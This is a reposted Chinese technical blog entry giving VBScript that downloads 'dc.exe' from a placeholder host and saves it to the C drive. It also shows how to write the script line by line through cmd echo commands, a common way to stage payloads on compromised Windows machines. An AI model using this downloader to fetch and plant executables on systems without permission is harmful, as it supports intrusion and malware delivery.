自动下载并运行的VBS脚本代码[转载]
- 博客分类:
- 技术杂绘
自动下载并运行的VBS脚本代码[转载]
2012年01月15日
信息来源:http://blog.csdn.net/yatere/article/details/6562680
自动下载并运行的VBS脚本代码
Set xPost = createObject("Microsoft.XMLHTTP")
xPost.Open "GET","http://www.xx.com/dc.exe",0 '下载文件的地址
xPost.Send()
Set sGet = createObject("ADODB.Stream")
sGet.Mode = 3
sGet.Type = 1
sGet.Open()
sGet.Write(xPost.responseBody)
sGet.SaveToFile "c:/dc.exe",2 '保存文件的路径和文件名
把以上代码保存在xx.vbs文件 执行cmd.exe xx.vbs
使用ECHO方法写入
echo Set xPost = createObject("Microsoft.XMLHTTP") >dc.vbs
echo xPost.Open "GET",http://www.xxx.com/dc.exe,0 >>dc.vbs
echo xPost.Send() >>dc.vbs
echo Set sGet = createObject("ADODB.Stream") >>dc.vbs
echo sGet.Mode = 3 >>dc.vbs
echo sGet.Type = 1 >>dc.vbs
echo sGet.Open() >>dc.vbs
echo sGet.Write(xPost.responseBody) >>dc.vbs
echo sGet.SaveToFile "c:/dc.exe",2 >>dc.vbs
===================带参数的WGET.vbs==========
on error resume next
iLocal=LCase(Wscript.Arguments(1))
iRemote=LCase(Wscript.Arguments(0))
Set xPost=createObject("Microsoft.XMLHTTP")
xPost.Open "GET",iRemote,0
xPost.Send()
set sGet=createObject("ADODB.Stream")
sGet.Mode=3
sGet.Type=1
sGet.Open()
sGet.Write xPost.ResponseBody
sGet.SaveToFile iLocal,2
===================带参数的WGET.vbs==========
===================带参数的WGET.vbs==========
echo on
echo on error resume next >dc.vbs
echo iLocal=LCase(Wscript.Arguments(1))>>dc.vbs
echo iRemote=LCase(Wscript.Arguments(0))>>dc.vbs
echo Set xPost=createObject("Microsoft.XMLHTTP")>>dc.vbs
echo xPost.Open "GET",iRemote,0>>dc.vbs
echo xPost.Send()>>dc.vbs
echo set sGet=createObject("ADODB.Stream")>>dc.vbs
echo sGet.Mode=3>>dc.vbs
echo sGet.Type=1>>dc.vbs
echo sGet.Open()>>dc.vbs
echo sGet.Write xPost.ResponseBody>>dc.vbs
echo sGet.SaveToFile iLocal,2>>dc.vbs
echo off
pasue
===================带参数的WGET.vbs==========
1.iget.vbs一次写入
在vbs语句的接触是符号是: 所以我们iget.vbs可以这样写
Set x= createObject("Microsoft.XMLHTTP"):x.Open "GET",LCase(WScript.Arguments(0)),0:x.Send():Set s = createObject("ADODB.Stream"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2
这样我们可以一次echo成功,echo版本:
echo Set x= createObject(^"Microsoft.XMLHTTP^"):x.Open ^"GET^",LCase(WScript.Arguments(0)),0:x.Send():Set s = createObject(^"ADODB.Stream^"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2 >iget.vbs
发表评论
-
Linux驱动学习――网络接口DM9000驱动学习 mini2440
2012-01-20 08:22 1368Linux驱动学习――网络接口DM9000驱动学习 mini2 ... -
《Linux内核设计与实现》ch14
2012-01-20 08:22 552《Linux内核设计与实现 ... -
从头开始编写操作系统(8) 第7章:系统结构
2012-01-20 08:22 595从头开始编写操作系统( ... -
Linux进程地址空间
2012-01-20 08:22 727Linux进程地址空间 2011年04月10日 1.概述 ... -
堆和栈的区别
2012-01-20 08:22 559堆和栈的区别 2010年10 ... -
Windows XP的小秘密 {10}
2012-01-19 13:35 797Windows XP的小秘密 {10} 2011年06月03 ... -
Redflag SP3 介绍
2012-01-19 13:35 770Redflag SP3 介绍 2010年07月05日 ... -
MAX三百问(珍藏版)上
2012-01-19 13:34 710MAX三百问(珍藏版)上 2011年06月13日 安装篇 ... -
Windows XP的小秘密 {7}
2012-01-17 03:24 610Windows XP的小秘密 {7} 201 ... -
Windows下Android开发环境配置
2012-01-17 03:24 443Windows下Android开发环境配置 2011年06月 ... -
Zigbee入门指导(二)
2012-01-17 03:24 795Zigbee入门指导(二) 2010年08月06日 Zi ... -
周围的那些个朋友们????????????
2012-01-16 01:59 773周围的那些个朋友们???????????? 2011年01月 ... -
123
2012-01-16 01:58 470123 2010年06月12日 ... -
转:不断迎接最美好的你自己--- ―一个经络按摩师的生涯规划
2012-01-16 01:58 695转:不断迎接最美好的你 ... -
广告销售的技巧
2012-01-16 01:58 490广告销售的技巧 2010年0 ... -
struts2 处理请求流程分析(结合源码)1- 孤星随缘ツ http://t.sina.com.cn/samzhxing-iteye技术网站
2012-01-11 02:00 582struts2 处理请求流程分析(结合源码)1- 孤星随缘ツ ... -
JavaScript中setTimeout()
2012-01-11 02:00 493JavaScript中setTimeout() 2011年0 ... -
键盘事件
2012-01-11 01:59 459键盘事件 2011年08月01日 键盘事件的种类: ... -
案例学习Oracle错误:ORA-00604 | 主流数据库的比较
2012-01-11 01:59 629案例学习Oracle错误:ORA-00604 | 主流数据库的 ... -
java 1.5 annotation-3 设值让反射拿
2012-01-11 01:59 532java 1.5 annotation-3 设值让反射拿 2 ...
相关推荐
QQ自动登陆”的VBS脚本代码.pdf
自动打网页的VBS脚本 自动打网页的VBS脚本 可也调整窗口大小
VBS取QQ-TM号码的自动登录命令行.vbs 妙用脚本清除电脑中的痕迹.vbs 后台字典文件管理器.vbs 定时关机.vbs 列出管理工具集.vbs 旁注查询工具.vbs 中文姓名笔画计算(VBS脚本版).vbs 利用VB编写文本朗读精灵.vbs 。...
Qt工程,c++代码调用vbs脚本函数,一个很简单的demo,参考学习
VBS脚本常用代码大全2011整理.pdf
VBS脚本运行库手册之一(磁盘操作) VBS脚本运行库手册之二(磁盘操作) VBS脚本运行库手册之三(管理文件夹) VBS脚本运行库手册之四(管理文件夹) VBS脚本运行库手册之五(文件夹属性) VBS脚本运行库手册之...
wincc vbs脚本手册 西门子 组态 脚本
压缩文件中包含了近100个本人收集和实际应用的所有脚本,代码详细,涉及Windows账号,AD域管理,操作系统,注册表,文件读写,网络,端口扫描等等vbs代码,经典快下哦,vbs交流请加群70539804,本人是群主
wincc VBS脚本加密破解
DB自动生成用vbs脚本DB自动生成用vbs脚本DB自动生成用vbs脚本DB自动生成用vbs脚本DB自动生成用vbs脚本DB自动生成用vbs脚本
windows下tomcat自动启动vbs脚本,自己用的。
整人的代码哦,vbs脚本运行,可以修改扩展名为txt进行修改
ADSL自动拨号VBS脚本,自己改一下其中的用户名和密码
widnows自动登录ssh服务器自动执行命令的脚本
helloworld vbs 脚本hellohelloworld vbs 脚本world vbs 脚本helloworld vbs 脚本helloworld vbs 脚本helloworld vbs 脚本
修改文本中exe文件路径,将txt后缀改为vbs,运行即可
WinCC常用的C脚本和VBS脚本对变量进行置位,复位,取反,读写变量;
windows常用bat/vbs脚本合集,2017年06月09日版本
vbs脚本手册
TIA Portal WinCC Engineering V17 – VBS脚本编程参考手册